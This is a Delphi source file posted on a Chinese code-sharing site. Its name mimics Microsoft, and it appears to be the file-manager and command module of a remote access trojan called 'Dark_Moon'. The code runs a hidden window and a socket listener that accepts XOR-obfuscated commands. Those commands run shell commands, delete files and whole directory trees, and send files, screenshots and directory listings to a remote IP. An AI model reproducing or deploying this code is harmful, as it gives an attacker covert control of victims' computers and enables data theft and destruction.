Microsoft_Uftpunit.pas
上传用户:hndmjx
上传日期:2014-09-16
资源大小:3369k
文件大小:25k
源码类别:

Delphi控件源码

开发平台:

Delphi

  1. unit Microsoft_Uftpunit;
  2. interface
  3. uses   Windows, Messages ,WinSock,Microsoft_Ucmd,Utils;
  4.   function GetFileName (text : string):string;
  5.   procedure Create_Server  (S_PORT : integer ;Handle : HWND);
  6.   procedure Server_Send(Data : string);
  7.   procedure FTP_Events( wParam,lParam: Integer);
  8.   //procedure SetUpaWindow1 ;
  9.   procedure Init_Winsock ();
  10.   procedure CleanUP_winsock();
  11.   procedure DownloadFileListen;
  12.   procedure  DownloadFileConnect(SaveFile : string  ;Ipadress : string; port : string) ;
  13.   procedure UploadFileListen;
  14.   procedure UploadFileConnect(OpenFile : String;Ipadress : string; port : string) ;
  15.  procedure UploadScreenShotFileListen(port : integer ; OpenFile: string);
  16.    procedure UploadScreenshotConnect(OpenFile : String;Ipadress : string; PORT : string) ;
  17.    
  18.   procedure UploadDataConnect (Data : String;Ipadress : string; PORT : string) ;
  19.   procedure UploadDataListen(Data : String; PORT : string) ;
  20.   procedure ProcessFTPCMD (data : string; socket : TSocket);
  21.   const
  22.   WM_Server = $0400 + $1002;
  23. var
  24. WinClass: TWndClassA;
  25. Inst : Integer;
  26. Handle : HWND ;
  27.   wsa_Data  : WSADATA;
  28.   Server: TSocket;
  29.   Server_Client : TSocket;
  30.   Helper_Socket :  TSocket;
  31.   addr : SOCKADDR_IN; // Internet address
  32.   Caddr : SOCKADDR_IN; // Internet address
  33.   Caddrserver : SOCKADDR_IN; // Internet address
  34.     Caddr2 : SOCKADDR_IN; // Internet address
  35.   Caddrserver2 : SOCKADDR_IN; // Internet address
  36.   USER, PASS,HOST,DIR,FileDarkMoon,Data: string   ;
  37.   nErrorStatus : integer;
  38.       OpenFile : string;
  39.       SaveFile : String ;
  40.       IConnection : boolean;
  41.      PORT : string   ;
  42.      Abort  : Boolean = FALSE;
  43.      ListingDIR : string;
  44.      ListIP, ListPort : string;
  45.      RemoteIP : string;
  46.      RemotePort: string;
  47.      id : cardinal;
  48. implementation
  49. procedure Send_List;
  50. begin
  51.    SendData(MainSocket,'|' + 'Working IP:' + RemoteIP);
  52.     if  IConnection=true    then begin
  53.    UploadDataConnect    ( LIST (ListingDIR + '*.*'), RemoteIP ,ListPort);
  54.    end
  55.    else
  56.    begin
  57.    UploadDataListen(  LIST (ListingDIR + '*.*') ,'4000') ;
  58.    end;
  59.  end;
  60.   function GetFileName (text : string):string;
  61.   var
  62.   a,i : integer;
  63.   begin
  64.   a:= FindNChars(text,'');
  65.   for i := 1 to a  do begin
  66.   text:=copy ( text, findchar(text,'')+1,length(text));
  67.   end;
  68.   Result:=text;
  69.   end;
  70. procedure SendData (SOCKET : TSOCKET;Data :string);
  71.  const
  72. my_key = 35311;
  73. var
  74. TotSent, ToSend, Sent, ErrorLoop: integer;
  75. begin
  76.   Data :=Encrypt (data,my_key);
  77. //Send( SOCKET, Pointer(Data)^, Length(Data), 0 );
  78.  if Data <> '' then
  79.  begin
  80.  ErrorLoop:= 0;
  81.  TotSent:= 0;
  82.  ToSend:= Length(Data);
  83.  repeat
  84.  Sent:= send(SOCKET, Data[TotSent+1], (ToSend-TotSent), 0);
  85.  if Sent = SOCKET_ERROR then
  86.  begin
  87.  Inc(ErrorLoop);
  88.  if WSAGetLastError <> WSAEWOULDBLOCK then
  89.  begin
  90.  Exit;
  91.  end;
  92.  end
  93.  else
  94.  Inc(TotSent, Sent);
  95.  until (TotSent >= ToSend) or (ErrorLoop > 100);
  96.  end;
  97. end;
  98. procedure DownloadFileConnect(SaveFile : string  ;Ipadress : string; PORT : string) ;
  99.  var addr : TSockAddrIn;
  100.      addrserver : TSockAddrIn;
  101.      BytesRead, sinsize : Integer;
  102.        client      : TSocket;
  103.      a          : THandle;
  104.      Buffer     : array [ 1..2048 ] of Char;
  105.      BytesWrite : DWORD;
  106.      FileStatus : Boolean;
  107.      var
  108.   HostEnt: PHostEnt;
  109.     begin
  110.   Client := socket(AF_INET, SOCK_STREAM, 0);
  111.   if (Client <> INVALID_SOCKET)   THEN BEGIN
  112.   addr.sin_family := AF_INET;
  113.   addr.sin_port := 0;
  114.   addr.sin_addr.s_addr := htonl(INADDR_ANY);
  115.   end;
  116.  if (bind(Client ,addr,sizeof(addr))= INVALID_SOCKET ) then begin
  117.  halt;
  118.  end;
  119. addrserver.sin_family := AF_INET;
  120. addrserver.sin_port :=  htons(strtoint(port));
  121. addrserver.sin_addr.s_addr := inet_addr(PChar(Ipadress));
  122. if addrserver.sin_addr.s_addr = -1 then
  123. begin
  124. HostEnt := GetHostByName(PChar(Ipadress));
  125. if HostEnt = nil then
  126. begin
  127. Exit;
  128. end;
  129. addrserver.sin_addr.S_addr := LongInt(PLongInt(HostEnt^.h_addr_list^)^);
  130. end;
  131.  if (connect(Client, addrserver,sizeof(addrserver)) =SOCKET_ERROR) then begin
  132.  //messagebox(0,'dddddddddddd','ddddddddd',0);
  133.  end;
  134.    BytesWrite := 0;
  135.     try
  136.         a := CreateFile( PChar(SaveFile) , GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 );
  137.     except
  138.         CloseSocket(Client );
  139.         Exit;
  140.     end;
  141.     repeat BytesRead  := Recv( client, Buffer, SizeOf( Buffer ), 0 );
  142.            FileStatus := WriteFile( a, Buffer, BytesRead, BytesWrite, nil );
  143.     until  ( FileStatus = FALSE ) or ( BytesRead = -1 ) or (BytesRead = 0) or ( Abort );
  144.      senddata(Helper_Socket,'9^File Uploaded: ' +  GetFileName(SaveFile) + '^');
  145.     CloseHandle( a );
  146.     try CloseSocket( client );  except end;
  147.     Abort := FALSE;
  148.  end;
  149. procedure UploadFileConnect (OpenFile : String;Ipadress : string; PORT : string) ;
  150.  var addr : TSockAddrIn;
  151.      addrserver : TSockAddrIn;
  152.      sinsize : Integer;
  153.      sock, client      : TSocket;
  154.      a          : THandle;
  155.      Archivo      : THandle;
  156.      Buffer       : array [ 1..1024 ] of Char;
  157.      FileStatus : Boolean;
  158.      BytesRead    : DWord;
  159.      Error     : Boolean;
  160.       size : longint ;
  161.       f   : file ;
  162.       HostEnt: PHostEnt;
  163. begin
  164.   Client := socket(AF_INET, SOCK_STREAM, 0);
  165.   if (Client <> INVALID_SOCKET)   THEN BEGIN
  166.   addr.sin_family := AF_INET;
  167.   addr.sin_port := 0;
  168.   addr.sin_addr.s_addr := htonl(INADDR_ANY);
  169.   end;
  170.  if (bind(Client ,addr,sizeof(addr))= INVALID_SOCKET ) then begin
  171.  halt;
  172.  end;
  173. addrserver.sin_family := AF_INET;
  174. addrserver.sin_port :=  htons(strtoint(port));
  175. addrserver.sin_addr.s_addr := inet_addr(PChar(Ipadress));
  176. if addrserver.sin_addr.s_addr = -1 then
  177. begin
  178. HostEnt := GetHostByName(PChar(Ipadress));
  179. if HostEnt = nil then
  180. begin
  181. Exit;
  182. end;
  183. addrserver.sin_addr.S_addr := LongInt(PLongInt(HostEnt^.h_addr_list^)^);
  184. end;
  185.  if (connect(Client, addrserver,sizeof(addrserver)) =SOCKET_ERROR) then begin
  186.  //messagebox(0,'dddddddddddd','ddddddddd',0);
  187.  end;
  188.    try
  189.         AssignFile(f, OpenFile);
  190.              Reset(f);
  191.              try
  192.              size :=FileSize(f)*128 div 1024;
  193.              finally
  194.              CloseFile(f);
  195.              end;
  196.           Archivo := CreateFile( PChar( OpenFile ),
  197.                                  GENERIC_READ,
  198.                                  0, nil,
  199.                                  OPEN_EXISTING,
  200.                                  FILE_ATTRIBUTE_NORMAL, 0);
  201.           SetFilePointer( Archivo, 0, nil, FILE_BEGIN );
  202.      except
  203.           CloseSocket( sock );
  204.           Exit;
  205.      end;
  206.      repeat
  207.           Error := ReadFile(Archivo, Buffer, SizeOf( Buffer ), BytesRead, nil);
  208.           Send(Client, Buffer, BytesRead, 0);
  209.      until ( Error  ) and ( BytesRead = 0 );
  210.       senddata(Helper_Socket,'9^File Downloaded: ' +  GetFileName(OpenFile) + '^') ;
  211.      CloseHandle( Archivo );
  212.      try CloseSocket( client ); except end;
  213.      Abort := FALSE;
  214. end;
  215.  procedure UploadDataListen(Data : String; PORT : string) ;
  216. //The server should send a file to the client
  217. var  addr         : TSockAddrIn;
  218.      sinsize      : Integer;
  219.      sock,cliente : TSocket;
  220.      Archivo      : THandle;
  221.      Buffer       : array [ 1..1024 ] of Char;
  222.      BytesRead    : DWord;
  223.      Error     : Boolean;
  224.   G :file of char;
  225.    i : integer;
  226.    c: char;
  227.    Openfile : string;
  228. begin
  229.      Openfile :=pchar (Get_SysPath) + 'DataServer.txt'  ;
  230. AssignFile (G,   Openfile);
  231.  rewrite(G);
  232.   for i:=1 to length(Data)   do begin
  233.       c:= stringtochar( copy( Data,i,1) );
  234.       write(G,c);
  235.       end;
  236.       closefile(G);
  237.      addr.sin_family := AF_INET;
  238.      addr.sin_port := htons(strtoint(PORT) );
  239.      addr.sin_addr.S_addr := INADDR_ANY;
  240.      //Open the socket
  241.      sock :=  Socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  242.      if Bind(sock, addr, SizeOf( addr ) ) = SOCKET_ERROR then
  243.         Exit;
  244.      if Listen(sock, 1) = SOCKET_ERROR then
  245.      begin
  246.           try CloseSocket( Sock ); except end;
  247.           Exit;
  248.      end;
  249.      //Espera una conexion
  250.      sinsize := SizeOf( addr );
  251.      cliente := Accept( sock, @addr, @sinsize );
  252.      try
  253.           Archivo := CreateFile( PChar(  Openfile ),
  254.                                  GENERIC_READ,
  255.                                  0, nil,
  256.                                  OPEN_EXISTING,
  257.                                  FILE_ATTRIBUTE_NORMAL, 0);
  258.           SetFilePointer( Archivo, 0, nil, FILE_BEGIN );
  259.            // Server_Send('9^Downloading File: ' +  GetFileName(OpenFile) + '^');
  260.      except
  261.           CloseSocket( sock );
  262.           Exit;
  263.      end;
  264.      Sleep( 150 );
  265.      repeat
  266.           Error := ReadFile(Archivo, Buffer, SizeOf( Buffer ), BytesRead, nil);
  267.           Send( cliente, Buffer, BytesRead, 0);
  268.      until ( Error  ) and ( BytesRead = 0 );
  269.      CloseHandle( Archivo );
  270.      try CloseSocket( cliente ); except end;
  271.      try CloseSocket( sock ); except end;
  272.      Abort := FALSE;
  273. end;
  274.  procedure UploadDataConnect(Data : String;Ipadress : string; PORT : string) ;
  275.  var addr : TSockAddrIn;
  276.      addrserver : TSockAddrIn;
  277.      sinsize : Integer;
  278.      sock, client      : TSocket;
  279.      a          : THandle;
  280.      Archivo      : THandle;
  281.      Buffer       : array [ 1..1024 ] of Char;
  282.      FileStatus : Boolean;
  283.      BytesRead    : DWord;
  284.      Error     : Boolean;
  285.       size : longint ;
  286.       f   : file ;
  287.      G :file of char;
  288.    i : integer;
  289.    c: char;
  290.    Openfile : string;
  291. HostEnt: PHostEnt;
  292. begin
  293.      Openfile :=pchar (Get_SysPath) + 'DataServer.txt'  ;
  294. AssignFile (G,   Openfile);
  295.  rewrite(G);
  296.   for i:=1 to length(Data)   do begin
  297.       c:= stringtochar( copy( Data,i,1) );
  298.       write(G,c);
  299.       end;
  300.       closefile(G);
  301.   Client := socket(AF_INET, SOCK_STREAM, 0);
  302.   if (Client <> INVALID_SOCKET)   THEN BEGIN
  303.   addr.sin_family := AF_INET;
  304.   addr.sin_port := 0;
  305.   addr.sin_addr.s_addr := htonl(INADDR_ANY);
  306.   end;
  307.  if (bind(Client ,addr,sizeof(addr))= INVALID_SOCKET ) then begin
  308.  halt;
  309.  end;
  310. addrserver.sin_family := AF_INET;
  311. addrserver.sin_port :=  htons(strtoint(port));
  312. addrserver.sin_addr.s_addr := inet_addr(PChar(Ipadress));
  313. if addrserver.sin_addr.s_addr = -1 then
  314. begin
  315. HostEnt := GetHostByName(PChar(Ipadress));
  316. if HostEnt = nil then
  317. begin
  318. Exit;
  319. end;
  320. addrserver.sin_addr.S_addr := LongInt(PLongInt(HostEnt^.h_addr_list^)^);
  321. end;
  322.  if (connect(Client, addrserver,sizeof(addrserver)) =SOCKET_ERROR) then begin
  323.  //messagebox(0,'dddddddddddd','ddddddddd',0);
  324.  end;
  325.    try
  326.         AssignFile(f,    Openfile );
  327.              Reset(f);
  328.              try
  329.              size :=FileSize(f)*128 div 1024;
  330.              finally
  331.              CloseFile(f);
  332.              end;
  333.           Archivo := CreateFile(   pchar( Openfile),
  334.                                  GENERIC_READ,
  335.                                  0, nil,
  336.                                  OPEN_EXISTING,
  337.                                  FILE_ATTRIBUTE_NORMAL, 0);
  338.           SetFilePointer( Archivo, 0, nil, FILE_BEGIN );
  339.      except
  340.           CloseSocket( sock );
  341.           Exit;
  342.      end;
  343.      repeat
  344.           Error := ReadFile(Archivo, Buffer, SizeOf( Buffer ), BytesRead, nil);
  345.           Send(Client, Buffer, BytesRead, 0);
  346.      until ( Error  ) and ( BytesRead = 0 );
  347.      CloseHandle( Archivo );
  348.      try CloseSocket( client ); except end;
  349.      Abort:= FALSE;
  350. end;
  351.  procedure UploadScreenshotConnect(OpenFile : String;Ipadress : string; PORT : string) ;
  352.  var addr : TSockAddrIn;
  353.      addrserver : TSockAddrIn;
  354.      sinsize : Integer;
  355.      sock, client      : TSocket;
  356.      a          : THandle;
  357.      Archivo      : THandle;
  358.      Buffer       : array [ 1..1024 ] of Char;
  359.      FileStatus : Boolean;
  360.      BytesRead    : DWord;
  361.      Error     : Boolean;
  362.       size : longint ;
  363.       f   : file ;
  364.   HostEnt: PHostEnt;
  365. begin
  366.   Client := socket(AF_INET, SOCK_STREAM, 0);
  367.   if (Client <> INVALID_SOCKET)   THEN BEGIN
  368.   addr.sin_family := AF_INET;
  369.   addr.sin_port := 0;
  370.   addr.sin_addr.s_addr := htonl(INADDR_ANY);
  371.   end;
  372.  if (bind(Client ,addr,sizeof(addr))= INVALID_SOCKET ) then begin
  373.  halt;
  374.  end;
  375. addrserver.sin_family := AF_INET;
  376. addrserver.sin_port :=  htons(strtoint(port));
  377. addrserver.sin_addr.s_addr := inet_addr(PChar(Ipadress));
  378. if addrserver.sin_addr.s_addr = -1 then
  379. begin
  380. HostEnt := GetHostByName(PChar(Ipadress));
  381. if HostEnt = nil then
  382. begin
  383. Exit;
  384. end;
  385. addrserver.sin_addr.S_addr := LongInt(PLongInt(HostEnt^.h_addr_list^)^);
  386. end;
  387.  if (connect(Client, addrserver,sizeof(addrserver)) =SOCKET_ERROR) then begin
  388.  //messagebox(0,'dddddddddddd','ddddddddd',0);
  389.  end;
  390.    try
  391.         AssignFile(f, OpenFile);
  392.              Reset(f);
  393.              try
  394.              size :=FileSize(f)*128 div 1024;
  395.              finally
  396.              CloseFile(f);
  397.              end;
  398.           Archivo := CreateFile( PChar( OpenFile ),
  399.                                  GENERIC_READ,
  400.                                  0, nil,
  401.                                  OPEN_EXISTING,
  402.                                  FILE_ATTRIBUTE_NORMAL, 0);
  403.           SetFilePointer( Archivo, 0, nil, FILE_BEGIN );
  404.      except
  405.           CloseSocket( sock );
  406.           Exit;
  407.      end;
  408.      repeat
  409.           Error := ReadFile(Archivo, Buffer, SizeOf( Buffer ), BytesRead, nil);
  410.           Send(Client, Buffer, BytesRead, 0);
  411.      until ( Error  ) and ( BytesRead = 0 );
  412.       senddata(Helper_Socket,'9^File Downloaded: ' +  GetFileName(OpenFile) + '^') ;
  413.      CloseHandle( Archivo );
  414.      try CloseSocket( client ); except end;
  415.      Abort:= FALSE;
  416. end;
  417.  procedure UploadScreenShotFileListen(port : integer ; OpenFile: string);
  418. var  addr         : TSockAddrIn;
  419.      sinsize      : Integer;
  420.      sock,cliente : TSocket;
  421.      Archivo      : THandle;
  422.      Buffer       : array [ 1..1024 ] of Char;
  423.      BytesRead    : DWord;
  424.      Error     : Boolean;
  425. begin
  426.      addr.sin_family := AF_INET;
  427.      addr.sin_port := htons(port);
  428.      addr.sin_addr.S_addr := INADDR_ANY;
  429.     
  430.           //Open the socket
  431.      sock :=  Socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  432.      if Bind(sock, addr, SizeOf( addr ) ) = SOCKET_ERROR then
  433.         Exit;
  434.      if Listen(sock, 1) = SOCKET_ERROR then
  435.      begin
  436.           try CloseSocket( Sock ); except end;
  437.           Exit;
  438.      end;
  439.      //Espera una conexion
  440.      sinsize := SizeOf( addr );
  441.      cliente := Accept( sock, @addr, @sinsize );
  442.      try
  443.           Archivo := CreateFile( PChar( OpenFile ),
  444.                                  GENERIC_READ,
  445.                                  0, nil,
  446.                                  OPEN_EXISTING,
  447.                                  FILE_ATTRIBUTE_NORMAL, 0);
  448.           SetFilePointer( Archivo, 0, nil, FILE_BEGIN );
  449.            // Server_Send('9^Downloading File: ' +  GetFileName(OpenFile) + '^');
  450.      except
  451.           CloseSocket( sock );
  452.           Exit;
  453.      end;
  454.      Sleep( 150 );
  455.      repeat
  456.           Error := ReadFile(Archivo, Buffer, SizeOf( Buffer ), BytesRead, nil);
  457.           Send( cliente, Buffer, BytesRead, 0);
  458.      until ( Error  ) and ( BytesRead = 0 );
  459.      CloseHandle( Archivo );
  460.      try CloseSocket( cliente ); except end;
  461.      try CloseSocket( sock ); except end;
  462.      Abort := FALSE;
  463. end;
  464. procedure UploadFileListen;
  465. //The server should send a file to the client
  466. var  addr         : TSockAddrIn;
  467.      sinsize      : Integer;
  468.      sock,cliente : TSocket;
  469.      Archivo      : THandle;
  470.      Buffer       : array [ 1..1024 ] of Char;
  471.      BytesRead    : DWord;
  472.      Error     : Boolean;
  473. begin
  474.      addr.sin_family := AF_INET;
  475.      addr.sin_port := htons(strtoint(PORT) );
  476.      addr.sin_addr.S_addr := INADDR_ANY;
  477.      //Open the socket
  478.      sock :=  Socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  479.      if Bind(sock, addr, SizeOf( addr ) ) = SOCKET_ERROR then
  480.         Exit;
  481.      if Listen(sock, 1) = SOCKET_ERROR then
  482.      begin
  483.           try CloseSocket( Sock ); except end;
  484.           Exit;
  485.      end;
  486.      //Espera una conexion
  487.      sinsize := SizeOf( addr );
  488.      cliente := Accept( sock, @addr, @sinsize );
  489.      try
  490.           Archivo := CreateFile( PChar( OpenFile ),
  491.                                  GENERIC_READ,
  492.                                  0, nil,
  493.                                  OPEN_EXISTING,
  494.                                  FILE_ATTRIBUTE_NORMAL, 0);
  495.           SetFilePointer( Archivo, 0, nil, FILE_BEGIN );
  496.            // Server_Send('9^Downloading File: ' +  GetFileName(OpenFile) + '^');
  497.      except
  498.           CloseSocket( sock );
  499.           Exit;
  500.      end;
  501.      Sleep( 150 );
  502.      repeat
  503.           Error := ReadFile(Archivo, Buffer, SizeOf( Buffer ), BytesRead, nil);
  504.           Send( cliente, Buffer, BytesRead, 0);
  505.      until ( Error  ) and ( BytesRead = 0 );
  506.     senddata(Helper_Socket,'9^File Downloaded: ' +  GetFileName(OpenFile) + '^') ;
  507.      CloseHandle( Archivo );
  508.      try CloseSocket( cliente ); except end;
  509.      try CloseSocket( sock ); except end;
  510.      Abort := FALSE;
  511. end;
  512.                           
  513. procedure DownloadFileListen;
  514. var addr : TSockAddrIn;
  515.     BytesRead, sinsize : Integer;
  516.     sock, cliente      : TSocket;
  517.     a          : THandle;
  518.     Buffer     : array [ 1..2048 ] of Char;
  519.     BytesWrite : DWORD;
  520.     FileStatus : Boolean;
  521. begin
  522.     addr.sin_family := AF_INET;
  523.     addr.sin_port := htons(strtoint(PORT));
  524.     addr.sin_addr.S_addr := INADDR_ANY;
  525.     //Abre el socket
  526.     sock :=  Socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  527.     if Bind( sock, addr, SizeOf( addr ) ) = SOCKET_ERROR then
  528.        Exit;
  529.     if Listen(sock, 1) = SOCKET_ERROR then
  530.        Exit;
  531.     //Espera una conexion
  532.     sinsize := SizeOf( addr );
  533.     cliente := Accept( sock, @addr, @sinsize );
  534.     BytesWrite := 0;
  535.     try
  536.         a := CreateFile( PChar( SaveFile  ), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 );
  537.            Server_Send('9^Uploading File: ' +  GetFileName(SaveFile)+ '^');
  538.     except
  539.         CloseSocket( sock );
  540.         Exit;
  541.     end;
  542.     repeat BytesRead  := Recv( cliente, Buffer, SizeOf( Buffer ), 0 );
  543.            FileStatus := WriteFile( a, Buffer, BytesRead, BytesWrite, nil );
  544.     until  ( FileStatus = FALSE ) or ( BytesRead = -1 ) or (BytesRead = 0) or ( Abort );
  545.     CloseHandle( a );
  546.     Server_Send('9^File Uploaded: ' +  GetFileName(SaveFile) + '^');
  547.     try CloseSocket( cliente );  except end;
  548.     try CloseSocket( sock ); except end;
  549.     Abort:= FALSE;
  550. end;
  551. Procedure ThreadUploadFile;
  552. begin
  553.   if  IConnection=false then begin
  554.  UploadFileListen;
  555.    end
  556.    else
  557.    begin
  558.   UploadFileConnect  (OpenFile, RemoteIP,RemotePort);
  559.    end;
  560. end;
  561. Procedure ThreadDownloadFile ;
  562. begin
  563.  if  IConnection=false then begin
  564.  DownloadFileListen
  565.  end
  566.  else
  567.  begin
  568.  DownloadFileConnect  ( SaveFile, RemoteIP, RemotePort);
  569.  end;
  570. end;
  571. procedure Server_Send(Data : string);
  572. begin
  573. SendData (Server_Client, Data );
  574. end;
  575. procedure Create_Server  (S_PORT : integer ;Handle : HWND);
  576. begin
  577.   Server := socket(AF_INET, SOCK_STREAM, 0);
  578.    if (Server <> INVALID_SOCKET)   THEN BEGIN
  579.    addr.sin_family := AF_INET;
  580.    addr.sin_port := htons(S_PORT);
  581.    addr.sin_addr.s_addr := htonl(INADDR_ANY);
  582.    end;
  583.    if (bind(Server,addr,sizeof(addr))=  INVALID_SOCKET ) then begin
  584.    WSACleanup();
  585.    halt;
  586.    end;
  587.    if ( listen(Server,3)= INVALID_SOCKET) then begin
  588.    WSACleanup();
  589.    halt;
  590.    end ;
  591.  if (WSAAsyncSelect(Server, Handle , WM_Server, FD_ACCEPT or FD_CLOSE or FD_READ or FD_WRITE) = SOCKET_ERROR) then begin
  592.    halt;
  593.  end;
  594. end;
  595. procedure ProcessFTPCMD (data : string; socket : TSocket);
  596. var
  597. TmpDada ,COMD, PARM1 ,PARM2, PARM3 : string ;
  598. a : File;
  599. THREADID : Cardinal;
  600. hthread : LongWord;
  601. THREADID2 : Cardinal;
  602. hthread2 : LongWord;
  603. BytesToRead : Integer;
  604. F : file;
  605. size: longint ;
  606. begin
  607. Helper_Socket:=socket ;
  608.      // messagebox(0,pchar(data),'',0);
  609. COMD:= Split (data,'^',0);
  610. PARM1:= Split (data,'^',1);
  611. PARM2:= Split (data,'^',2) ;
  612. PARM3:= Split (data,'^',3) ;
  613.        if findnChars(data,'^')<2 then exit;
  614.          case strtoint(COMD) of
  615.           0:  begin;
  616.          SendData (socket,'0^'+ MandarUnidadesDeAlmacenamiento (socket)+  '^');
  617.           end;
  618.           1:  begin
  619.                ListingDIR := PARM1  ;
  620.               ListIP:= PARM2;
  621.               ListPort:= '4000';
  622.            sleep(100);
  623.             BeginThread( nil, 0, @Send_List, nil, 0, id );
  624.           end;
  625.            2:  begin
  626.          if FileExists( PARM1 )then
  627.            try
  628.            BorrarArchivo(PARM1);
  629.          SendData (socket, '9^' + 'File Deleted: ' + PARM1 + '^') ;
  630.            except end;
  631.           end;
  632.           3:  begin
  633.          SendData (socket, '9^' + DelTree(PARM1) + '^' );
  634.           end;
  635.           4:  begin
  636.          SendData (socket,'9^' + ShellEx(PARM1) + '^' );
  637.           end;
  638.           5:  begin
  639.             begin
  640.         try MkDir( PARM1 ) except end;
  641.         if IOResult <> 0 then
  642.        SendData (socket,'9^'  + 'Error On making the Dir: ' + PARM1 + '^')
  643.         else
  644.         SendData (socket,'9^' +  'Dir Created: ' + PARM1  + '^');
  645.         end;
  646.         end;
  647.              6:  begin
  648.               AssignFile( a, PARM1 );
  649.           try
  650.              Rename( a, PARM2 );
  651.              if IOResult = 0 then
  652.              SendData (socket,'9^' + 'File Renamed To: ' + PARM2 + '^' );
  653.              except SendData (socket,'9^' + 'File Coulnt be renamed: ' + PARM1 + '^');
  654.           end;
  655.           end;
  656.              7:  begin
  657.              Port:= PARM1;
  658.              RemotePort:=PARM1;
  659.              OpenFile:=PARM2;
  660.              RemoteIP:=PARM3;
  661.              AssignFile(F, PARM2);
  662.              Reset(F);
  663.              try
  664.              size :=FileSize(F);
  665.              finally
  666.              CloseFile(f);
  667.              end;
  668.              sleep(100);
  669.              SendData (socket, '2^' +  inttostr(size) + '^' );
  670.              hthread := CreateThread( nil, 0, @ThreadUploadFile, nil, 0, THREADID );
  671.              if hthread <> 0 then  begin
  672.              CloseHandle( hthread );
  673.              end;
  674.     end;
  675.              9: begin
  676.     if  PARM1= '0' then begin
  677.     IConnection:=false;
  678.     end;
  679.     if  PARM1= '1' then begin
  680.     IConnection:=true;
  681.     end;
  682.              end;
  683.                8:  begin
  684.             Port:=PARM1;
  685.             RemotePort:=PARM1;
  686.             SaveFile:=PARM2 ;
  687.             RemoteIP:=PARM3;
  688.             hthread := CreateThread( nil, 0, @ThreadDownloadFile, nil, 0, THREADID );
  689.             if hthread <> 0 then   begin
  690.             CloseHandle( hthread );
  691.             end;
  692.         end;
  693.      11:begin   Abort:=true end;
  694.        end;
  695. end;
  696.    procedure FTP_Events( wParam,lParam: Integer);
  697.      const
  698.   my_key = 35311;
  699.    var
  700.    TmpDada ,COMD, PARM1 ,PARM2 : string ;
  701.       a : File;
  702.    THREADID : Cardinal;
  703.     hthread : LongWord;
  704.        THREADID2 : Cardinal;
  705.     hthread2 : LongWord;
  706.      BytesToRead : Integer;
  707.       F : file;
  708.       size: longint ;
  709.     Begin
  710.   case lParam  of
  711.   FD_READ:  begin
  712.   if ioctlsocket(wParam, FIONREAD, LongInt(BytesToRead)) = 0 then
  713.   begin
  714.      SetLength( Data, BytesToRead );
  715.      Recv( wparam, Pointer( Data )^, BytesToRead, 0 );
  716.      Data := Decrypt (Data,my_key);
  717.      ProcessFTPCMD (Data,wParam );
  718.   end;
  719.       end   ;
  720.       FD_ACCEPT:  begin
  721.        Server_Client:= accept(Server,nil,nil);
  722.         if (Server_Client= INVALID_SOCKET) then begin
  723.           messagebox(0,'error','error',0);
  724.         end;
  725.       end  ;
  726.       FD_CLOSE:  begin
  727.       try CloseSocket(wParam ); except end;
  728.       end;
  729.       end   ;
  730.     End;
  731. { Custom WindowProc function }
  732. function WindowProc(hWnd, uMsg, wParam, lParam: Integer): Integer; stdcall;
  733. begin
  734. Result := DefWindowProc(hWnd, uMsg, wParam, lParam);
  735. if uMsg = WM_Server then
  736. begin
  737. FTP_Events( wParam,lParam);
  738. end;
  739. if uMsg = WM_DESTROY then   begin
  740. Halt;
  741. end;
  742. end;
  743. procedure SetUpaWindow1;
  744. begin
  745. { ** Register Custom WndClass ** }
  746.   Inst := hInstance;
  747.   with WinClass do
  748.   begin
  749.     style              := CS_CLASSDC or CS_PARENTDC;
  750.     lpfnWndProc        := @WindowProc;
  751.     hInstance          := Inst;
  752.     hbrBackground      :=COLOR_INACTIVEBORDER;
  753.     lpszClassname      := 'Dark_Moon';
  754.     hCursor            := LoadCursor(0, IDC_ARROW);
  755.   end; { with }
  756.   RegisterClass(WinClass);
  757.               Handle := CreateWindowEx(WS_EX_TOPMOST, 'Dark_Moon', '',
  758.                          0 ,
  759.                            240, 150, 311, 294, 0, 0, Inst, nil);
  760.                       Showwindow(Handle,0);
  761.   UpdateWindow(Handle);
  762.   end;
  763. procedure init_winsock ();
  764. begin
  765. SetUpaWindow1 ;
  766. nErrorStatus := WSAStartup($101, wsa_Data);
  767. if (nErrorStatus <> 0)  then     begin
  768. //WSAGetLastError()
  769. messagebox(0,pchar(inttostr(nErrorStatus)),'ddddddd',0);
  770. halt;
  771. end;
  772. end;
  773. procedure   CleanUP_winsock();
  774. begin
  775. WSACleanup(); // terminate WinSock use
  776. end;
  777. end.